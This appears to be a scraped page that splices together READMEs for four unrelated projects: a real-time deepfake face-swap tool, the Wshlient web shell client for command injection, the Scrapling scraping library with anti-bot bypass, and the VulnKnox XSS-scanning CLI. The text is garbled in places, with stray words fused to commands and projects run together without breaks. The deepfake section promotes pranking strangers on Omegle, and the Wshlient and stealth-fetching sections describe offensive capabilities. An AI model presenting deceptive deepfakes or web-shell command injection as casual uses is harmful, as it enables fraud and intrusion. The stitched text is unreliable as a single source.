Login
Real-time face swap and video deepfake with a single click and only a single image.
This deepfake software is designed to be a productive tool for the AI-generated media industry. It can assist artists in animating custom characters, creating engaging content, and even using models for clothing design.
We are aware of the potential for unethical applications and are committed to preventative measures. A built-in check prevents the program from processing inappropriate media (nudity, graphic content, sensitive material like war footage, etc.). We will continue to develop this project responsibly, adhering to the law and ethics. We may shut down the project or add watermarks if legally required.
Ethical Use: Users are expected to use this software responsibly and legally. If using a real person's face, obtain their consent and clearly label any output as a deepfake when sharing online.
Content Restrictions: The software includes built-in checks to prevent processing inappropriate media, such as nudity, graphic content, or sensitive material.
Legal Compliance: We adhere to all relevant laws and ethical guidelines. If legally required, we may shut down the project or add watermarks to the output.
User Responsibility: We are not responsible for end-user actions. Users must ensure their use of the software aligns with ethical standards and legal requirements.
By using this software, you agree to these terms and commit to using it in a manner that respects the rights and dignity of others.
Users are expected to use this software responsibly and legally. If using a real person's face, obtain their consent and clearly label any output as a deepfake when sharing online. We are not responsible for end-user actions.
1. Select a face 2. Select which camera to use 3. Press live!
Retain your original mouth for accurate movement using Mouth Mask
Use different faces on multiple subjects simultaneously
Watch movies with any face in real-time
Run Live shows and performances
Create Your Most Viral Meme Yet
Created using Many Faces feature in Deep-Live-Cam
Surprise people on Omegle
Please be aware that the installation requires technical skills and is not for beginners. Consider downloading the prebuilt version.
FreshRSS git clone https://github.com/hacksider/Deep-Live-Cam.git
cd Deep-Live-Cam
python -m venv venv
venv\Scripts\activate
pip install -r requirements.txt
# Install Python 3.10 (specific version is important)
brew install python@3.10
# Install tkinter package (required for the GUI)
brew install python-tk@3.10
# Create and activate virtual environment with Python 3.10
python3.10 -m venv venv
source venv/bin/activate
# Install dependencies
pip install -r requirements.txt
# Deactivate the virtual environment
rm -rf venv
# Reinstall the virtual environment
python -m venv venv
source venv/bin/activate
# install the dependencies again
pip install -r requirements.txt
pip uninstall onnxruntime onnxruntime-gpu
pip install onnxruntime-gpu==1.16.3
python run.py --execution-provider cuda
pip uninstall onnxruntime onnxruntime-silicon
pip install onnxruntime-silicon==1.13.1
python3.10 run.py --execution-provider coreml
pip uninstall onnxruntime onnxruntime-coreml
pip install onnxruntime-coreml==1.13.1
python run.py --execution-provider coreml
pip uninstall onnxruntime onnxruntime-directml
pip install onnxruntime-directml==1.15.1
python run.py --execution-provider directml
pip uninstall onnxruntime onnxruntime-openvino
pip install onnxruntime-openvino==1.15.0
python run.py --execution-provider openvino
1. Image/Video Mode
python run.py.2. Webcam Mode
python run.py.Check out these helpful guides to get the most out of Deep-Live-Cam:
Visit our official blog for more tips and tutorials.
options:
-h, --help show this help message and exit
-s SOURCE_PATH, --source SOURCE_PATH select a source image
-t TARGET_PATH, --target TARGET_PATH select a target image or video
-o OUTPUT_PATH, --output OUTPUT_PATH select output file or directory
--frame-processor FRAME_PROCESSOR [FRAME_PROCESSOR ...] frame processors (choices: face_swapper, face_enhancer, ...)
--keep-fps keep original fps
--keep-audio keep original audio
--keep-frames keep temporary frames
--many-faces process every face
--map-faces map source target faces
--mouth-mask mask the mouth region
--video-encoder {libx264,libx265,libvpx-vp9} adjust output video encoder
--video-quality [0-51] adjust output video quality
--live-mirror the live camera display as you see it in the front-facing camera frame
--live-resizable the live camera frame is resizable
--max-memory MAX_MEMORY maximum amount of RAM in GB
--execution-provider {cpu} [{cpu} ...] available execution provider (choices: cpu, ...)
--execution-threads EXECUTION_THREADS number of execution threads
-v, --version show program's version number and exit
Looking for a CLI mode? Using the -s/--source argument will make the run program in cli mode.
We are always open to criticism and are ready to improve, that's why we didn't cherry-pick anything.
Web Shell Client
Wshlient is a web shell client designed to be pretty simple yet versatile. One just need to create a text file containing an HTTP request and inform where Wshlient inject the commands, then you can enjoy a shell.
In the case the above video does not works for you:
Out of python's included batteries Wshclient only uses requests. Just install it directly or using requirements.txt:
$ git clone https://github.com/gildasio/wshlient
$ cd wshlient
$ pip install -r requirements.txt
$ ./wshlient.py -h
Alternatively you can also create a symbolic link in your $PATH to use it directly anywhere in the system:
$ ln -s $PWD/wshlient.py /usr/local/bin/wshlient
$ ./wshlient.py -h
usage: wshlient.py [-h] [-d] [-i] [-ne] [-it INJECTION_TOKEN] [-st START_TOKEN] [-et END_TOKEN] req
positional arguments:
req File containing raw http request
options:
-h, --help show this help message and exit
-d, --debug Enable debug output
-i, --ifs Replaces whitespaces with $IFS
-ne, --no-url-encode Disable command URL encode
-it INJECTION_TOKEN, --injection-token INJECTION_TOKEN
Token to be replaced by commands (default: INJECT)
-st START_TOKEN, --start-token START_TOKEN
Token that marks the output beginning
-et END_TOKEN, --end-token END_TOKEN
Token that marks the output ending
You can contribute to Wshlient by:
Feel free to do it, but keep in mind to keep it simple.
Dealing with failing web scrapers due to anti-bot protections or website changes? Meet Scrapling.
Scrapling is a high-performance, intelligent web scraping library for Python that automatically adapts to website changes while significantly outperforming popular alternatives. For both beginners and experts, Scrapling provides powerful features while maintaining simplicity.
>> from scrapling.defaults import Fetcher, AsyncFetcher, StealthyFetcher, PlayWrightFetcher
# Fetch websites' source under the radar!
>> page = StealthyFetcher.fetch('https://example.com', headless=True, network_idle=True)
>> print(page.status)
200
>> products = page.css('.product', auto_save=True) # Scrape data that survives website design changes!
>> # Later, if the website structure changes, pass `auto_match=True`
>> products = page.css('.product', auto_match=True) # and Scrapling still finds them!
Fetcher class.PlayWrightFetcher class through your real browser, Scrapling's stealth mode, Playwright's Chrome browser, or NSTbrowser's browserless!StealthyFetcher and PlayWrightFetcher classes.from scrapling.fetchers import Fetcher
fetcher = Fetcher(auto_match=False)
# Do http GET request to a web page and create an Adaptor instance
page = fetcher.get('https://quotes.toscrape.com/', stealthy_headers=True)
# Get all text content from all HTML tags in the page except `script` and `style` tags
page.get_all_text(ignore_tags=('script', 'style'))
# Get all quotes elements, any of these methods will return a list of strings directly (TextHandlers)
quotes = page.css('.quote .text::text') # CSS selector
quotes = page.xpath('//span[@class="text"]/text()') # XPath
quotes = page.css('.quote').css('.text::text') # Chained selectors
quotes = [element.text for element in page.css('.quote .text')] # Slower than bulk query above
# Get the first quote element
quote = page.css_first('.quote') # same as page.css('.quote').first or page.css('.quote')[0]
# Tired of selectors? Use find_all/find
# Get all 'div' HTML tags that one of its 'class' values is 'quote'
quotes = page.find_all('div', {'class': 'quote'})
# Same as
quotes = page.find_all('div', class_='quote')
quotes = page.find_all(['div'], class_='quote')
quotes = page.find_all(class_='quote') # and so on...
# Working with elements
quote.html_content # Get Inner HTML of this element
quote.prettify() # Prettified version of Inner HTML above
quote.attrib # Get that element's attributes
quote.path # DOM path to element (List of all ancestors from <html> tag till the element itself)
To keep it simple, all methods can be chained on top of each other!
Scrapling isn't just powerful - it's also blazing fast. Scrapling implements many best practices, design patterns, and numerous optimizations to save fractions of seconds. All of that while focusing exclusively on parsing HTML documents. Here are benchmarks comparing Scrapling to popular Python libraries in two tests.
| # | Library | Time (ms) | vs Scrapling |
|---|---|---|---|
| 1 | Scrapling | 5.44 | 1.0x |
| 2 | Parsel/Scrapy | 5.53 | 1.017x |
| 3 | Raw Lxml | 6.76 | 1.243x |
| 4 | PyQuery | 21.96 | 4.037x |
| 5 | Selectolax | 67.12 | 12.338x |
| 6 | BS4 with Lxml | 1307.03 | 240.263x |
| 7 | MechanicalSoup | 1322.64 | 243.132x |
| 8 | BS4 with html5lib | 3373.75 | 620.175x |
As you see, Scrapling is on par with Scrapy and slightly faster than Lxml which both libraries are built on top of. These are the closest results to Scrapling. PyQuery is also built on top of Lxml but still, Scrapling is 4 times faster.
| Library | Time (ms) | vs Scrapling |
|---|---|---|
| Scrapling | 2.51 | 1.0x |
| AutoScraper | 11.41 | 4.546x |
Scrapling can find elements with more methods and it returns full element Adaptor objects not only the text like AutoScraper. So, to make this test fair, both libraries will extract an element with text, find similar elements, and then extract the text content for all of them. As you see, Scrapling is still 4.5 times faster at the same task.
All benchmarks' results are an average of 100 runs. See our benchmarks.py for methodology and to run your comparisons.
Scrapling is a breeze to get started with; Starting from version 0.2.9, we require at least Python 3.9 to work.
pip3 install scrapling
Then run this command to install browsers' dependencies needed to use Fetcher classes
scrapling install
If you have any installation issues, please open an issue.
Fetchers are interfaces built on top of other libraries with added features that do requests or fetch pages for you in a single request fashion and then return an Adaptor object. This feature was introduced because the only option we had before was to fetch the page as you wanted it, then pass it manually to the Adaptor class to create an Adaptor instance and start playing around with the page.
You might be slightly confused by now so let me clear things up. All fetcher-type classes are imported in the same way
from scrapling.fetchers import Fetcher, StealthyFetcher, PlayWrightFetcher
All of them can take these initialization arguments: auto_match, huge_tree, keep_comments, keep_cdata, storage, and storage_args, which are the same ones you give to the Adaptor class.
If you don't want to pass arguments to the generated Adaptor object and want to use the default values, you can use this import instead for cleaner code:
from scrapling.defaults import Fetcher, AsyncFetcher, StealthyFetcher, PlayWrightFetcher
then use it right away without initializing like:
page = StealthyFetcher.fetch('https://example.com')
Also, the Response object returned from all fetchers is the same as the Adaptor object except it has these added attributes: status, reason, cookies, headers, history, and request_headers. All cookies, headers, and request_headers are always of type dictionary.
[!NOTE] The
auto_matchargument is enabled by default which is the one you should care about the most as you will see later.
This class is built on top of httpx with additional configuration options, here you can do GET, POST, PUT, and DELETE requests.
For all methods, you have stealthy_headers which makes Fetcher create and use real browser's headers then create a referer header as if this request came from Google's search of this URL's domain. It's enabled by default. You can also set the number of retries with the argument retries for all methods and this will make httpx retry requests if it failed for any reason. The default number of retries for all Fetcher methods is 3.
Hence: All headers generated by
stealthy_headersargument can be overwritten by you through theheadersargument
You can route all traffic (HTTP and HTTPS) to a proxy for any of these methods in this format http://username:password@localhost:8030
>> page = Fetcher().get('https://httpbin.org/get', stealthy_headers=True, follow_redirects=True)
>> page = Fetcher().post('https://httpbin.org/post', data={'key': 'value'}, proxy='http://username:password@localhost:8030')
>> page = Fetcher().put('https://httpbin.org/put', data={'key': 'value'})
>> page = Fetcher().delete('https://httpbin.org/delete')
For Async requests, you will just replace the import like below:
>> from scrapling.fetchers import AsyncFetcher
>> page = await AsyncFetcher().get('https://httpbin.org/get', stealthy_headers=True, follow_redirects=True)
>> page = await AsyncFetcher().post('https://httpbin.org/post', data={'key': 'value'}, proxy='http://username:password@localhost:8030')
>> page = await AsyncFetcher().put('https://httpbin.org/put', data={'key': 'value'})
>> page = await AsyncFetcher().delete('https://httpbin.org/delete')
This class is built on top of Camoufox, bypassing most anti-bot protections by default. Scrapling adds extra layers of flavors and configurations to increase performance and undetectability even further.
>> page = StealthyFetcher().fetch('https://www.browserscan.net/bot-detection') # Running headless by default
>> page.status == 200
True
>> page = await StealthyFetcher().async_fetch('https://www.browserscan.net/bot-detection') # the async version of fetch
>> page.status == 200
True
Note: all requests done by this fetcher are waiting by default for all JS to be fully loaded and executed so you don't have to :)
This list isn't final so expect a lot more additions and flexibility to be added in the next versions!
This class is built on top of Playwright which currently provides 4 main run options but they can be mixed as you want.
>> page = PlayWrightFetcher().fetch('https://www.google.com/search?q=%22Scrapling%22', disable_resources=True) # Vanilla Playwright option
>> page.css_first("#search a::attr(href)")
'https://github.com/D4Vinci/Scrapling'
>> page = await PlayWrightFetcher().async_fetch('https://www.google.com/search?q=%22Scrapling%22', disable_resources=True) # the async version of fetch
>> page.css_first("#search a::attr(href)")
'https://github.com/D4Vinci/Scrapling'
Note: all requests done by this fetcher are waiting by default for all JS to be fully loaded and executed so you don't have to :)
Using this Fetcher class, you can make requests with: 1) Vanilla Playwright without any modifications other than the ones you chose. 2) Stealthy Playwright with the stealth mode I wrote for it. It's still a WIP but it bypasses many online tests like Sannysoft's. Some of the things this fetcher's stealth mode does include: * Patching the CDP runtime fingerprint. * Mimics some of the real browsers' properties by injecting several JS files and using custom options. * Using custom flags on launch to hide Playwright even more and make it faster. * Generates real browser's headers of the same type and same user OS then append it to the request's headers. 3) Real browsers by passing the real_chrome argument or the CDP URL of your browser to be controlled by the Fetcher and most of the options can be enabled on it. 4) NSTBrowser's docker browserless option by passing the CDP URL and enabling nstbrowser_mode option.
Hence using the
real_chromeargument requires that you have Chrome browser installed on your device
Add that to a lot of controlling/hiding options as you will see in the arguments list below.
This list isn't final so expect a lot more additions and flexibility to be added in the next versions!
>>> quote.tag
'div'
>>> quote.parent
<data='<div class="col-md-8"> <div class="quote...' parent='<div class="row"> <div class="col-md-8">...'>
>>> quote.parent.tag
'div'
>>> quote.children
[<data='<span class="text" itemprop="text">"The...' parent='<div class="quote" itemscope itemtype="h...'>,
<data='<span>by <small class="author" itemprop=...' parent='<div class="quote" itemscope itemtype="h...'>,
<data='<div class="tags"> Tags: <meta class="ke...' parent='<div class="quote" itemscope itemtype="h...'>]
>>> quote.siblings
[<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
...]
>>> quote.next # gets the next element, the same logic applies to `quote.previous`
<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>
>>> quote.children.css_first(".author::text")
'Albert Einstein'
>>> quote.has_class('quote')
True
# Generate new selectors for any element
>>> quote.generate_css_selector
'body > div > div:nth-of-type(2) > div > div'
# Test these selectors on your favorite browser or reuse them again in the library's methods!
>>> quote.generate_xpath_selector
'//body/div/div[2]/div/div'
If your case needs more than the element's parent, you can iterate over the whole ancestors' tree of any element like below
for ancestor in quote.iterancestors():
# do something with it...
You can search for a specific ancestor of an element that satisfies a function, all you need to do is to pass a function that takes an Adaptor object as an argument and return True if the condition satisfies or False otherwise like below:
>>> quote.find_ancestor(lambda ancestor: ancestor.has_class('row'))
<data='<div class="row"> <div class="col-md-8">...' parent='<div class="container"> <div class="row...'>
You can select elements by their text content in multiple ways, here's a full example on another website:
>>> page = Fetcher().get('https://books.toscrape.com/index.html')
>>> page.find_by_text('Tipping the Velvet') # Find the first element whose text fully matches this text
<data='<a href="catalogue/tipping-the-velvet_99...' parent='<h3><a href="catalogue/tipping-the-velve...'>
>>> page.urljoin(page.find_by_text('Tipping the Velvet').attrib['href']) # We use `page.urljoin` to return the full URL from the relative `href`
'https://books.toscrape.com/catalogue/tipping-the-velvet_999/index.html'
>>> page.find_by_text('Tipping the Velvet', first_match=False) # Get all matches if there are more
[<data='<a href="catalogue/tipping-the-velvet_99...' parent='<h3><a href="catalogue/tipping-the-velve...'>]
>>> page.find_by_regex(r'£[\d\.]+') # Get the first element that its text content matches my price regex
<data='<p class="price_color">£51.77</p>' parent='<div class="product_price"> <p class="pr...'>
>>> page.find_by_regex(r'£[\d\.]+', first_match=False) # Get all elements that matches my price regex
[<data='<p class="price_color">£51.77</p>' parent='<div class="product_price"> <p class="pr...'>,
<data='<p class="price_color">£53.74</p>' parent='<div class="product_price"> <p class="pr...'>,
<data='<p class="price_color">£50.10</p>' parent='<div class="product_price"> <p class="pr...'>,
<data='<p class="price_color">£47.82</p>' parent='<div class="product_price"> <p class="pr...'>,
...]
Find all elements that are similar to the current element in location and attributes
# For this case, ignore the 'title' attribute while matching
>>> page.find_by_text('Tipping the Velvet').find_similar(ignore_attributes=['title'])
[<data='<a href="catalogue/a-light-in-the-attic_...' parent='<h3><a href="catalogue/a-light-in-the-at...'>,
<data='<a href="catalogue/soumission_998/index....' parent='<h3><a href="catalogue/soumission_998/in...'>,
<data='<a href="catalogue/sharp-objects_997/ind...' parent='<h3><a href="catalogue/sharp-objects_997...'>,
...]
# You will notice that the number of elements is 19 not 20 because the current element is not included.
>>> len(page.find_by_text('Tipping the Velvet').find_similar(ignore_attributes=['title']))
19
# Get the `href` attribute from all similar elements
>>> [element.attrib['href'] for element in page.find_by_text('Tipping the Velvet').find_similar(ignore_attributes=['title'])]
['catalogue/a-light-in-the-attic_1000/index.html',
'catalogue/soumission_998/index.html',
'catalogue/sharp-objects_997/index.html',
...]
To increase the complexity a little bit, let's say we want to get all books' data using that element as a starting point for some reason
>>> for product in page.find_by_text('Tipping the Velvet').parent.parent.find_similar():
print({
"name": product.css_first('h3 a::text'),
"price": product.css_first('.price_color').re_first(r'[\d\.]+'),
"stock": product.css('.availability::text')[-1].clean()
})
{'name': 'A Light in the ...', 'price': '51.77', 'stock': 'In stock'}
{'name': 'Soumission', 'price': '50.10', 'stock': 'In stock'}
{'name': 'Sharp Objects', 'price': '47.82', 'stock': 'In stock'}
...
The documentation will provide more advanced examples.
Let's say you are scraping a page with a structure like this:
<div class="container">
<section class="products">
<article class="product" id="p1">
<h3>Product 1</h3>
<p class="description">Description 1</p>
</article>
<article class="product" id="p2">
<h3>Product 2</h3>
<p class="description">Description 2</p>
</article>
</section>
</div>
And you want to scrape the first product, the one with the p1 ID. You will probably write a selector like this
page.css('#p1')
When website owners implement structural changes like
<div class="new-container">
<div class="product-wrapper">
<section class="products">
<article class="product new-class" data-id="p1">
<div class="product-info">
<h3>Product 1</h3>
<p class="new-description">Description 1</p>
</div>
</article>
<article class="product new-class" data-id="p2">
<div class="product-info">
<h3>Product 2</h3>
<p class="new-description">Description 2</p>
</div>
</article>
</section>
</div>
</div>
The selector will no longer function and your code needs maintenance. That's where Scrapling's auto-matching feature comes into play.
from scrapling.parser import Adaptor
# Before the change
page = Adaptor(page_source, url='example.com')
element = page.css('#p1' auto_save=True)
if not element: # One day website changes?
element = page.css('#p1', auto_match=True) # Scrapling still finds it!
# the rest of the code...
How does the auto-matching work? Check the FAQs section for that and other possible issues while auto-matching.
Let's use a real website as an example and use one of the fetchers to fetch its source. To do this we need to find a website that will change its design/structure soon, take a copy of its source then wait for the website to make the change. Of course, that's nearly impossible to know unless I know the website's owner but that will make it a staged test haha.
To solve this issue, I will use The Web Archive's Wayback Machine. Here is a copy of StackOverFlow's website in 2010, pretty old huh?Let's test if the automatch feature can extract the same button in the old design from 2010 and the current design using the same selector :)
If I want to extract the Questions button from the old design I can use a selector like this #hmenus > div:nth-child(1) > ul > li:nth-child(1) > a This selector is too specific because it was generated by Google Chrome. Now let's test the same selector in both versions
>> from scrapling.fetchers import Fetcher
>> selector = '#hmenus > div:nth-child(1) > ul > li:nth-child(1) > a'
>> old_url = "https://web.archive.org/web/20100102003420/http://stackoverflow.com/"
>> new_url = "https://stackoverflow.com/"
>>
>> page = Fetcher(automatch_domain='stackoverflow.com').get(old_url, timeout=30)
>> element1 = page.css_first(selector, auto_save=True)
>>
>> # Same selector but used in the updated website
>> page = Fetcher(automatch_domain="stackoverflow.com").get(new_url)
>> element2 = page.css_first(selector, auto_match=True)
>>
>> if element1.text == element2.text:
... print('Scrapling found the same element in the old design and the new design!')
'Scrapling found the same element in the old design and the new design!'
Note that I used a new argument called automatch_domain, this is because for Scrapling these are two different URLs, not the website so it isolates their data. To tell Scrapling they are the same website, we then pass the domain we want to use for saving auto-match data for them both so Scrapling doesn't isolate them.
In a real-world scenario, the code will be the same except it will use the same URL for both requests so you won't need to use the automatch_domain argument. This is the closest example I can give to real-world cases so I hope it didn't confuse you :)
Notes: 1. For the two examples above I used one time the Adaptor class and the second time the Fetcher class just to show you that you can create the Adaptor object by yourself if you have the source or fetch the source using any Fetcher class then it will create the Adaptor object for you. 2. Passing the auto_save argument with the auto_match argument set to False while initializing the Adaptor/Fetcher object will only result in ignoring the auto_save argument value and the following warning message text Argument `auto_save` will be ignored because `auto_match` wasn't enabled on initialization. Check docs for more info. This behavior is purely for performance reasons so the database gets created/connected only when you are planning to use the auto-matching features. Same case with the auto_match argument.
auto_match parameter works only for Adaptor instances not Adaptors so if you do something like this you will get an error python page.css('body').css('#p1', auto_match=True) because you can't auto-match a whole list, you have to be specific and do something like python page.css_first('body').css('#p1', auto_match=True)
Inspired by BeautifulSoup's find_all function you can find elements by using find_all/find methods. Both methods can take multiple types of filters and return all elements in the pages that all these filters apply to.
So the way it works is after collecting all passed arguments and keywords, each filter passes its results to the following filter in a waterfall-like filtering system.
It filters all elements in the current page/element in the following order:
Note: The filtering process always starts from the first filter it finds in the filtering order above so if no tag name(s) are passed but attributes are passed, the process starts from that layer and so on. But the order in which you pass the arguments doesn't matter.
Examples to clear any confusion :)
>> from scrapling.fetchers import Fetcher
>> page = Fetcher().get('https://quotes.toscrape.com/')
# Find all elements with tag name `div`.
>> page.find_all('div')
[<data='<div class="container"> <div class="row...' parent='<body> <div class="container"> <div clas...'>,
<data='<div class="row header-box"> <div class=...' parent='<div class="container"> <div class="row...'>,
...]
# Find all div elements with a class that equals `quote`.
>> page.find_all('div', class_='quote')
[<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
...]
# Same as above.
>> page.find_all('div', {'class': 'quote'})
[<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
...]
# Find all elements with a class that equals `quote`.
>> page.find_all({'class': 'quote'})
[<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
...]
# Find all div elements with a class that equals `quote`, and contains the element `.text` which contains the word 'world' in its content.
>> page.find_all('div', {'class': 'quote'}, lambda e: "world" in e.css_first('.text::text'))
[<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>]
# Find all elements that don't have children.
>> page.find_all(lambda element: len(element.children) > 0)
[<data='<html lang="en"><head><meta charset="UTF...'>,
<data='<head><meta charset="UTF-8"><title>Quote...' parent='<html lang="en"><head><meta charset="UTF...'>,
<data='<body> <div class="container"> <div clas...' parent='<html lang="en"><head><meta charset="UTF...'>,
...]
# Find all elements that contain the word 'world' in its content.
>> page.find_all(lambda element: "world" in element.text)
[<data='<span class="text" itemprop="text">"The...' parent='<div class="quote" itemscope itemtype="h...'>,
<data='<a class="tag" href="/tag/world/page/1/"...' parent='<div class="tags"> Tags: <meta class="ke...'>]
# Find all span elements that match the given regex
>> page.find_all('span', re.compile(r'world'))
[<data='<span class="text" itemprop="text">"The...' parent='<div class="quote" itemscope itemtype="h...'>]
# Find all div and span elements with class 'quote' (No span elements like that so only div returned)
>> page.find_all(['div', 'span'], {'class': 'quote'})
[<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
...]
# Mix things up
>> page.find_all({'itemtype':"http://schema.org/CreativeWork"}, 'div').css('.author::text')
['Albert Einstein',
'J.K. Rowling',
...]
Here's what else you can do with Scrapling:
lxml.etree object itself of any element directly python >>> quote._root <Element div at 0x107f98870>
Saving and retrieving elements manually to auto-match them outside the css and the xpath methods but you have to set the identifier by yourself.
To save an element to the database: python >>> element = page.find_by_text('Tipping the Velvet', first_match=True) >>> page.save(element, 'my_special_element')
python >>> element_dict = page.retrieve('my_special_element') >>> page.relocate(element_dict, adaptor_type=True) [<data='<a href="catalogue/tipping-the-velvet_99...' parent='<h3><a href="catalogue/tipping-the-velve...'>] >>> page.relocate(element_dict, adaptor_type=True).css('::text') ['Tipping the Velvet']
if you want to keep it as lxml.etree object, leave the adaptor_type argument python >>> page.relocate(element_dict) [<Element a at 0x105a2a7b0>]
Filtering results based on a function
# Find all products over $50
expensive_products = page.css('.product_pod').filter(
lambda p: float(p.css('.price_color').re_first(r'[\d\.]+')) > 50
)
# Find all the products with price '53.23'
page.css('.product_pod').search(
lambda p: float(p.css('.price_color').re_first(r'[\d\.]+')) == 54.23
)
Doing operations on element content is the same as scrapy python quote.re(r'regex_pattern') # Get all strings (TextHandlers) that match the regex pattern quote.re_first(r'regex_pattern') # Get the first string (TextHandler) only quote.json() # If the content text is jsonable, then convert it to json using `orjson` which is 10x faster than the standard json library and provides more options except that you can do more with them like python quote.re( r'regex_pattern', replace_entities=True, # Character entity references are replaced by their corresponding character clean_match=True, # This will ignore all whitespaces and consecutive spaces while matching case_sensitive= False, # Set the regex to ignore letters case while compiling it ) Hence all of these methods are methods from the TextHandler within that contains the text content so the same can be done directly if you call the .text property or equivalent selector function.
Doing operations on the text content itself includes
python quote.clean()
TextHandler objects too? so in cases where you have for example a JS object assigned to a JS variable inside JS code and want to extract it with regex and then convert it to json object, in other libraries, these would be more than 1 line of code but here you can do it in 1 line like this python page.xpath('//script/text()').re_first(r'var dataLayer = (.+);').json()
Sort all characters in the string as if it were a list and return the new string python quote.sort(reverse=False)
To be clear,
TextHandleris a sub-class of Python'sstrso all normal operations/methods that work with Python strings will work with it.
Any element's attributes are not exactly a dictionary but a sub-class of mapping called AttributesHandler that's read-only so it's faster and string values returned are actually TextHandler objects so all operations above can be done on them, standard dictionary operations that don't modify the data, and more :)
python >>> for item in element.attrib.search_values('catalogue', partial=True): print(item) {'href': 'catalogue/tipping-the-velvet_999/index.html'}
python >>> element.attrib.json_string b'{"href":"catalogue/tipping-the-velvet_999/index.html","title":"Tipping the Velvet"}'
python >>> dict(element.attrib) {'href': 'catalogue/tipping-the-velvet_999/index.html', 'title': 'Tipping the Velvet'}
Scrapling is under active development so expect many more features coming soon :)
There are a lot of deep details skipped here to make this as short as possible so to take a deep dive, head to the docs section. I will try to keep it updated as possible and add complex examples. There I will explain points like how to write your storage system, write spiders that don't depend on selectors at all, and more...
Note that implementing your storage system can be complex as there are some strict rules such as inheriting from the same abstract class, following the singleton design pattern used in other classes, and more. So make sure to read the docs first.
[!IMPORTANT] A website is needed to provide detailed library documentation.
I'm trying to rush creating the website, researching new ideas, and adding more features/tests/benchmarks but time is tight with too many spinning plates between work, personal life, and working on Scrapling. I have been working on Scrapling for months for free after all.
If you likeScraplingand want it to keep improving then this is a friendly reminder that you can help by supporting me through the sponsor button.
This section addresses common questions about Scrapling, please read this section before opening an issue.
css or xpath with the auto_save parameter set to True before structural changes happen.Now because everything about the element can be changed or removed, nothing from the element can be used as a unique identifier for the database. To solve this issue, I made the storage system rely on two things:
identifier parameter you passed to the method while selecting. If you didn't pass one, then the selector string itself will be used as an identifier but remember you will have to use it as an identifier value later when the structure changes and you want to pass the new selector.Together both are used to retrieve the element's unique properties from the database later. 4. Now later when you enable the auto_match parameter for both the Adaptor instance and the method call. The element properties are retrieved and Scrapling loops over all elements in the page and compares each one's unique properties to the unique properties we already have for this element and a score is calculated for each one. 5. Comparing elements is not exact but more about finding how similar these values are, so everything is taken into consideration, even the values' order, like the order in which the element class names were written before and the order in which the same element class names are written now. 6. The score for each element is stored in the table, and the element(s) with the highest combined similarity scores are returned.
Not a big problem as it depends on your usage. The word default will be used in place of the URL field while saving the element's unique properties. So this will only be an issue if you used the same identifier later for a different website that you didn't pass the URL parameter while initializing it as well. The save process will overwrite the previous data and auto-matching uses the latest saved properties only.
For each element, Scrapling will extract: - Element tag name, text, attributes (names and values), siblings (tag names only), and path (tag names only). - Element's parent tag name, attributes (names and values), and text.
auto_save/auto_match parameter while selecting and it got completely ignored with a warning messageThat's because passing the auto_save/auto_match argument without setting auto_match to True while initializing the Adaptor object will only result in ignoring the auto_save/auto_match argument value. This behavior is purely for performance reasons so the database gets created only when you are planning to use the auto-matching features.
It could be one of these reasons: 1. No data were saved/stored for this element before. 2. The selector passed is not the one used while storing element data. The solution is simple - Pass the old selector again as an identifier to the method called. - Retrieve the element with the retrieve method using the old selector as identifier then save it again with the save method and the new selector as identifier. - Start using the identifier argument more often if you are planning to use every new selector from now on. 3. The website had some extreme structural changes like a new full design. If this happens a lot with this website, the solution would be to make your code as selector-free as possible using Scrapling features.
Pretty much yeah, almost all features you get from BeautifulSoup can be found or achieved in Scrapling one way or another. In fact, if you see there's a feature in bs4 that is missing in Scrapling, please make a feature request from the issues tab to let me know.
Of course, you can find elements by text/regex, find similar elements in a more reliable way than AutoScraper, and finally save/retrieve elements manually to use later as the model feature in AutoScraper. I have pulled all top articles about AutoScraper from Google and tested Scrapling against examples in them. In all examples, Scrapling got the same results as AutoScraper in much less time.
Yes, Scrapling instances are thread-safe. Each Adaptor instance maintains its state.
Everybody is invited and welcome to contribute to Scrapling. There is a lot to do!
Please read the contributing file before doing anything.
[!CAUTION] This library is provided for educational and research purposes only. By using this library, you agree to comply with local and international laws regarding data scraping and privacy. The authors and contributors are not responsible for any misuse of this software. This library should not be used to violate the rights of others, for unethical purposes, or to use data in an unauthorized or illegal manner. Do not use it on any website unless you have permission from the website owner or within their allowed rules like the
robots.txtfile, for example.
This work is licensed under BSD-3
This project includes code adapted from: - Parsel (BSD License) - Used for translator submodule
VulnKnox is a powerful command-line tool written in Go that interfaces with the KNOXSS API. It automates the process of testing URLs for Cross-Site Scripting (XSS) vulnerabilities using the advanced capabilities of the KNOXSS engine.
go install github.com/iqzer0/vulnknox@latest
Before using the tool, you need to set up your configuration:
API Key
Obtain your KNOXSS API key from knoxss.me.
On the first run, a default configuration file will be created at:
Linux/macOS: ~/.config/vulnknox/config.json
Windows: %APPDATA%\VulnKnox\config.json
Edit the config.json file and replace YOUR_API_KEY_HERE with your actual API key.
Discord Webhook (Optional)
If you want to receive notifications on Discord, add your webhook URL to the config.json file or use the -dw flag.
Usage of vulnknox:
-u Input URL to send to KNOXSS API
-i Input file containing URLs to send to KNOXSS API
-X GET HTTP method to use: GET, POST, or BOTH
-pd POST data in format 'param1=value¶m2=value'
-headers Custom headers in format 'Header1:value1,Header2:value2'
-afb Use Advanced Filter Bypass
-checkpoc Enable CheckPoC feature
-flash Enable Flash Mode
-o The file to save the results to
-ow Overwrite output file if it exists
-oa Output all results to file, not just successful ones
-s Only show successful XSS payloads in output
-p 3 Number of parallel processes (1-5)
-t 600 Timeout for API requests in seconds
-dw Discord Webhook URL (overrides config file)
-r 3 Number of retries for failed requests
-ri 30 Interval between retries in seconds
